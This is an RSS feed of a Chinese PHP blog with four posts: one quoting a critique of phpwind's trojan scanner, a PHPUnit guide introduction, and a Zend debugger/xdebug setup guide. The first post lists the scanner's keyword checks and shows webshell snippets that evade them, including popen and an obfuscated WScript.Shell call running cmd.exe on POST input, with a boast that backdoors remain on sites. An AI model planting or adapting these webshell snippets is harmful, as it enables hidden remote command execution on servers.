﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-教父的告白-随笔分类-PHP</title><link>http://www.cppblog.com/keigoliye/category/11704.html</link><description>一切都是纸老虎</description><language>zh-cn</language><lastBuildDate>Tue, 01 Jun 2010 10:33:46 GMT</lastBuildDate><pubDate>Tue, 01 Jun 2010 10:33:46 GMT</pubDate><ttl>60</ttl><item><title>PHP木马应对</title><link>http://www.cppblog.com/keigoliye/archive/2010/05/28/116622.html</link><dc:creator>暗夜教父</dc:creator><author>暗夜教父</author><pubDate>Fri, 28 May 2010 08:25:00 GMT</pubDate><guid>http://www.cppblog.com/keigoliye/archive/2010/05/28/116622.html</guid><wfw:comment>http://www.cppblog.com/keigoliye/comments/116622.html</wfw:comment><comments>http://www.cppblog.com/keigoliye/archive/2010/05/28/116622.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/keigoliye/comments/commentRss/116622.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/keigoliye/services/trackbacks/116622.html</trackback:ping><description><![CDATA[<div>linux下查找文件内容！find+grep（小寿原创）</div><div><br></div><div>#&gt; find . -type f &nbsp;-exec grep 'mingtian' &nbsp;-l {} \;</div><div>grep -l :是显示匹配的内容的文件名字！</div><div>或者：</div><div>#&gt; find . -type f -name "*.*" |xargs grep 'xiaoshou' -l</div><div>(这个方法 不好，挺乱的，还慢，推荐前一个方法！）</div><div><br></div><div><br></div><div><br></div><div><br></div><div>phpwind开发的php木马查杀工具有何用?</div><div>22 Comments | 技术相关 | by angel | 22700 Views.</div><div>看看phpwind官方的介绍!!我不得不好奇的来看看。道怎么比魔高了？</div><div><br></div><div>-----------------------------------------</div><div>服务器 php 木马, 恶意程序查杀工具(适用于1.3.6 与 2.0.1 版被攻击站点的安全检测)</div><div><br></div><div>使用后99%可以根除您空间上的恶意程序与 php木马程序</div><div>-----------------------------------------</div><div><br></div><div>哎，看来phpwind的开发人员在这方面有点愚笨，我来一句一句分析一下safe.php文件的核心。</div><div><br></div><div>1、strpos($a,'shell_exec')!==false</div><div>如果包含shell_exec，杀</div><div><br></div><div>我这样绕过：</div><div>-------------</div><div>system();</div><div>-------------</div><div>passthru();</div><div>-------------</div><div>exec();</div><div>-------------</div><div>$pp = popen($_POST['command'], 'r');</div><div>$read = fread($pp, 2096);</div><div>echo $read;</div><div>-------------</div><div>$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");</div><div>$exec = $wsh-&gt;exec ("cm"."d.e"."xe /c ".$_POST['command']."");</div><div>$stdout = $exec-&gt;StdOut();</div><div>$stroutput = $stdout-&gt;ReadAll();</div><div>echo $stroutput;</div><div><br></div><div>2、strpos($a,'eval($_')!==false</div><div>如果包含eval($_，杀</div><div><br></div><div>我这样绕过：</div><div>eval($a);</div><div><br></div><div>3、strpos($a,'move_uploaded_file($_FILES')!==false</div><div>如果包含move_uploaded_file($_FILES，杀</div><div><br></div><div>我这样绕过：</div><div>move_uploaded_file($a,$b);</div><div><br></div><div>4、strpos($a,'copy($_FILES')!==false</div><div>如果包含copy($_FILES，杀</div><div><br></div><div>我这样绕过：</div><div>copy($a,$b);</div><div><br></div><div>完了！！就这样结束了！全部绕过了！后门继续留着。唉。真的不知道这个工具有什么用，骗骗菜鸟站长</div><div><br></div><div>？为什么只能用在phpwind的站点？又怎么99％根除恶意程序了？？</div><div><br></div><div>到我这里应该是99.999999％不能根除恶意程序！！！使用这个和不使用简直没分别。希望我手头没有各</div><div><br></div><div>位PHPWIND站长的后门哦。不要以为有了这个safe.php就高枕无忧了。嘻嘻。道高一尺，魔绝对要高一丈</div><div><br></div><div>的&#8230;&#8230;改变不了的事实。</div>
<img src ="http://www.cppblog.com/keigoliye/aggbug/116622.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/keigoliye/" target="_blank">暗夜教父</a> 2010-05-28 16:25 <a href="http://www.cppblog.com/keigoliye/archive/2010/05/28/116622.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHPUnit袖珍指南-第一章 简介</title><link>http://www.cppblog.com/keigoliye/archive/2010/04/13/112486.html</link><dc:creator>暗夜教父</dc:creator><author>暗夜教父</author><pubDate>Tue, 13 Apr 2010 11:30:00 GMT</pubDate><guid>http://www.cppblog.com/keigoliye/archive/2010/04/13/112486.html</guid><wfw:comment>http://www.cppblog.com/keigoliye/comments/112486.html</wfw:comment><comments>http://www.cppblog.com/keigoliye/archive/2010/04/13/112486.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/keigoliye/comments/commentRss/112486.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/keigoliye/services/trackbacks/112486.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://blog.csdn.net/summerfang/archive/2006/05/20/746219.aspx很长时间里，我对&#8220;你什么时候会为PHPUnit写一个文档&#8221;这个问题的回答是：&#8220;你不需要PHPUnit文档，去读读JUnit文档或买一本Junit的书，试一试用PHP和PHPUnit来重写Java和Junit的例子&#8221;。当我和O...&nbsp;&nbsp;<a href='http://www.cppblog.com/keigoliye/archive/2010/04/13/112486.html'>阅读全文</a><img src ="http://www.cppblog.com/keigoliye/aggbug/112486.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/keigoliye/" target="_blank">暗夜教父</a> 2010-04-13 19:30 <a href="http://www.cppblog.com/keigoliye/archive/2010/04/13/112486.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHPUnit袖珍指南-概述</title><link>http://www.cppblog.com/keigoliye/archive/2010/04/13/112485.html</link><dc:creator>暗夜教父</dc:creator><author>暗夜教父</author><pubDate>Tue, 13 Apr 2010 11:27:00 GMT</pubDate><guid>http://www.cppblog.com/keigoliye/archive/2010/04/13/112485.html</guid><wfw:comment>http://www.cppblog.com/keigoliye/comments/112485.html</wfw:comment><comments>http://www.cppblog.com/keigoliye/archive/2010/04/13/112485.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/keigoliye/comments/commentRss/112485.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/keigoliye/services/trackbacks/112485.html</trackback:ping><description><![CDATA[<span  style="font-family: verdana, sans-serif; font-size: 14px; line-height: 21px; "><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; text-indent: 18pt; "><font  face="宋体"><span  style="line-height: 24px; font-size: medium;">转自<span  style="font-family: verdana, sans-serif; line-height: 21px; font-size: 14px; "><a href="http://blog.csdn.net/summerfang/archive/2006/05/20/746216.aspx">http://blog.csdn.net/summerfang/archive/2006/05/20/746216.aspx</a></span></span></font></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; text-indent: 18pt; "><font size="3"><span style="line-height: 24px; font-family: 宋体; ">聪明的</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">Web</font></span><span style="line-height: 24px; font-family: 宋体; ">开发人员会告诉你，越快找到代码的错误，你就能越快修正它，长期而言，项目成本越低。好了，能最有效的检测</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHP</font></span><span style="line-height: 24px; font-family: 宋体; ">代码中的错误的工具是</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHPUnit</font></span><span style="line-height: 24px; font-family: 宋体; ">，一个开发源代码的框架，它在你不在的时候，自动进行成套的单元测试。使用</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHPUnit</font></span><span style="line-height: 24px; font-family: 宋体; ">的好处是显而易见的：</span></font></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 21pt; text-indent: -21pt; "><span lang="EN-US" style="line-height: 21px; font-family: Wingdings; "><span style="line-height: 21px; "><font size="3">l</font><span style="line-height: normal; font: normal normal normal 7pt/normal 'Times New Roman'; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 21px; font-family: 宋体; "><font size="3">减少用于测试代码的工作量</font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 21pt; text-indent: -21pt; "><span lang="EN-US" style="line-height: 21px; font-family: Wingdings; "><span style="line-height: 21px; "><font size="3">l</font><span style="line-height: normal; font: normal normal normal 7pt/normal 'Times New Roman'; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 21px; font-family: 宋体; "><font size="3">减少总体软件缺陷</font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 21pt; text-indent: -21pt; "><span lang="EN-US" style="line-height: 21px; font-family: Wingdings; "><span style="line-height: 21px; "><font size="3">l</font><span style="line-height: normal; font: normal normal normal 7pt/normal 'Times New Roman'; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 21px; font-family: 宋体; "><font size="3">增加对代码的信心</font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 21pt; text-indent: -21pt; "><span lang="EN-US" style="line-height: 21px; font-family: Wingdings; "><span style="line-height: 21px; "><font size="3">l</font><span style="line-height: normal; font: normal normal normal 7pt/normal 'Times New Roman'; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></span></span><span style="line-height: 21px; font-family: 宋体; "><font size="3">改善你和开发源代码的团队伙伴的关系</font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; text-indent: 18pt; "><font size="3"><span style="line-height: 24px; font-family: 宋体; ">直到现在，这个流行工具唯一的问题是缺乏文档。为了解决这个问题，</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">O&#8217;Reilly</font></span><span style="line-height: 24px; font-family: 宋体; ">直接找到了源头，</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHPUnit</font></span><span style="line-height: 24px; font-family: 宋体; ">口袋书指南的作者，也是</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHPUnit</font></span><span style="line-height: 24px; font-family: 宋体; ">的创造者，</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">Sebastian Bergmann</font></span><span style="line-height: 24px; font-family: 宋体; ">，来解决这个问题。这本书把很多难以记忆的信息，语法，</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHPUnit</font></span><span style="line-height: 24px; font-family: 宋体; ">工作的原则，统一到一起。它也带来了只有技术创造者才能提供的洞察力和睿智忠告。而且，本书也谈到了敏捷方法和极限编程中关于测试的内容。</span></font></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; text-indent: 18pt; "><font size="3"><span style="line-height: 24px; font-family: 宋体; ">在</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">O&#8217;Reilly</font></span><span style="line-height: 24px; font-family: 宋体; ">口袋书指南最近的系列中，这本快速参考书把所有的答案都带到了你的指尖。那些对测试</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">PHP</font></span><span style="line-height: 24px; font-family: 宋体; ">代码感兴趣的</span><span lang="EN-US" style="line-height: 24px; "><font face="Times New Roman">Web</font></span><span style="line-height: 24px; font-family: 宋体; ">应用程序开发者，会觉得本书是一个无价的伴侣。</span></font></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; "><o:p><font face="Times New Roman" size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 19px; font-size: 10pt; font-family: 'Courier New'; ">--------------------------------------------------------------------------------------------------------------<o:p></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span style="line-height: 19px; font-size: 10pt; font-family: 宋体; ">原文：</span><span lang="EN-US" style="line-height: 19px; font-size: 10pt; font-family: 'Courier New'; "><o:p></o:p></span></p><p class="MsoNormal" align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; text-align: center; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">Overview<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">Smart web developers will tell you that the sooner you detect your code mistakes, the quicker you can fix them, and the less the project will cost in the long run. Well, the most efficient way to detect your mistakes in PHP is with PHPUnit, an open source framework that automates unit testing by running a battery of tests as you go. The benefits of PHPUnit are significant:<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><o:p><font size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">a reduction in the effort required to frequently test code<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">fewer overall defects<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">added confidence in your code<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">improved relations with your open source teammates<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><o:p><font size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><o:p><font size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><o:p><font size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">The only problem with this popular testing tool was its lack of documentation-until now, that is. For this, O'Reilly went right to the source, as Sebastian Bergmann, the author of PHPUnit Pocket Guide, also happens to be PHPUnit's creator. This little book brings together hard-to-remember information, syntax, and rules for working with PHPUnit. It also delivers the insight and sage advice that can only come from the technology's creator. Coverage of testing under agile methodologies and Extreme Programming (XP) is also included.<o:p></o:p></font></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><o:p><font size="3">&nbsp;</font></o:p></span></p><p class="MsoNormal" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0cm; margin-right: 0cm; margin-bottom: 0pt; margin-left: 0cm; "><span lang="EN-US" style="line-height: 21px; font-family: 'Courier New'; "><font size="3">The latest in O'Reilly's series of handy Pocket Guides, this quick-reference book puts all the answers are right at your fingertips. It's an invaluable companion for anyone interested in testing the PHP code they write for web applications.</font></span></p></span>
<img src ="http://www.cppblog.com/keigoliye/aggbug/112485.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/keigoliye/" target="_blank">暗夜教父</a> 2010-04-13 19:27 <a href="http://www.cppblog.com/keigoliye/archive/2010/04/13/112485.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>zend debugger 与 zend optimizer和xdebug共存的方法</title><link>http://www.cppblog.com/keigoliye/archive/2009/10/12/98383.html</link><dc:creator>暗夜教父</dc:creator><author>暗夜教父</author><pubDate>Mon, 12 Oct 2009 07:43:00 GMT</pubDate><guid>http://www.cppblog.com/keigoliye/archive/2009/10/12/98383.html</guid><wfw:comment>http://www.cppblog.com/keigoliye/comments/98383.html</wfw:comment><comments>http://www.cppblog.com/keigoliye/archive/2009/10/12/98383.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/keigoliye/comments/commentRss/98383.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/keigoliye/services/trackbacks/98383.html</trackback:ping><description><![CDATA[<p>我用的是lamp集成环境是xampp，linux下是lampp，其实都是一个东西。</p>
<p>想改变一下自己老土的调试方式，所以试用一下zend debugger和xdebug</p>
<p>言归正传，如何让三者共存呢。（理论上，你用zend debugger就不必再使用xdebug，反之亦然）</p>
<p>xampp已经给好了zend optimizer的配置，并且xdebug也已经默认给配置好了，只是都没有启用而已</p>
<p><strong>第一步：启用zend optimizer</strong><br>
<span id="more-1094"></span><br>
在php.ini中，找到zend_optimizer.enable_loader，把值高为1即可</p>
<p>如：</p>
<p>[Zend]<br>
zend_extension_ts = &#8220;D:\xampp\php\zendOptimizer\lib\ZendExtensionManager.dll&#8221;<br>
zend_extension_manager.optimizer_ts = &#8220;D:\xampp\php\zendOptimizer\lib\Optimizer&#8221;<br>
zend_optimizer.enable_loader = 1<br>
zend_optimizer.optimization_level=15<br>
zend_optimizer.license_path =<br>
; Local Variables:<br>
; tab-width: 4<br>
; End:</p>
<p><strong>第二步：加载zend debugger</strong></p>
<p>这里是一个需要注意的地方</p>
<p>下载zend debugger: 地址：http://downloads.zend.com/pdt/server-debugger/，下载符合你操作系统的版本， 保存到自定义的目录，例如d:/xampp/php/zenddebugger</p>
<p>在该目录下建立一个相应当前php版本的文件夹， 如当前php版本php5.26, 即在该文件夹下建立php-5.2.x文件夹， 注： 此处X为真实的字符，而不是一个代表符。</p>
<p>将下载的debugger中相应版本的ZendDebugger.dll考到该目录下。</p>
<p>再配置 php.ini，加入</p>
<p>[Debugger]<br>
zend_extension_manager.debug_server_ts=&#8221;D:\xampp\php\zenddebugger&#8221;<br>
zend_debugger.allow_hosts=127.0.0.1/32,192.168.0.0/44<br>
zend_debugger.expose_remotely=always</p>
<p>重启apache,查看phpinfo,如果看到</p>
<blockquote>
<p>with&nbsp;Zend&nbsp;Extension&nbsp;Manager&nbsp;v1.2.0,&nbsp;Copyright&nbsp;(c)&nbsp;2003-2007,&nbsp;by&nbsp;Zend&nbsp;Technologies<br>
with&nbsp;Zend&nbsp;Optimizer&nbsp;v3.3.3,&nbsp;Copyright&nbsp;(c)&nbsp;1998-2007,&nbsp;by&nbsp;Zend&nbsp;Technologies<br>
with&nbsp;Zend&nbsp;Debugger&nbsp;v5.2.15,&nbsp;Copyright&nbsp;(c)&nbsp;1999-2008,&nbsp;by&nbsp;Zend&nbsp;Technologies</p>
</blockquote>
<p>就说明成功了</p>
<p><strong>第三步：加载xdebug</strong></p>
<p>我们可以以扩展形式加载xdebug,就避免了和zend optimizer冲突。</p>
<p>extension=php_xdebug.dll</p>
<p>注意php_xdebug.dll要在xampp/php/ext目录下</p>
<p>然后php.ini中添加的内容 （xampp已经添加好，我们只需要去掉注释即可）</p>
<p>[XDebug]<br>
;; Only Zend OR (!) XDebug<br>
;zend_extension_ts=&#8221;D:\xampp\php\ext\php_xdebug.dll&#8221;<br>
xdebug.remote_enable=true<br>
xdebug.remote_host=127.0.0.1<br>
xdebug.remote_port=9000<br>
;xdebug.remote_handler=dbgp<br>
;xdebug.profiler_enable=1<br>
;xdebug.profiler_output_dir=&#8221;D:\xampp\tmp&#8221;</p>
<p>再重启apache, OK。 开始测试</p>
<p>结果是，zend debugger可以和zend optimize共存，但xdebug不能和zend optimize共存</p>
<p>如果使用dll方式加载xdebug,会有错误提示。并且不再执行</p><img src ="http://www.cppblog.com/keigoliye/aggbug/98383.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/keigoliye/" target="_blank">暗夜教父</a> 2009-10-12 15:43 <a href="http://www.cppblog.com/keigoliye/archive/2009/10/12/98383.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>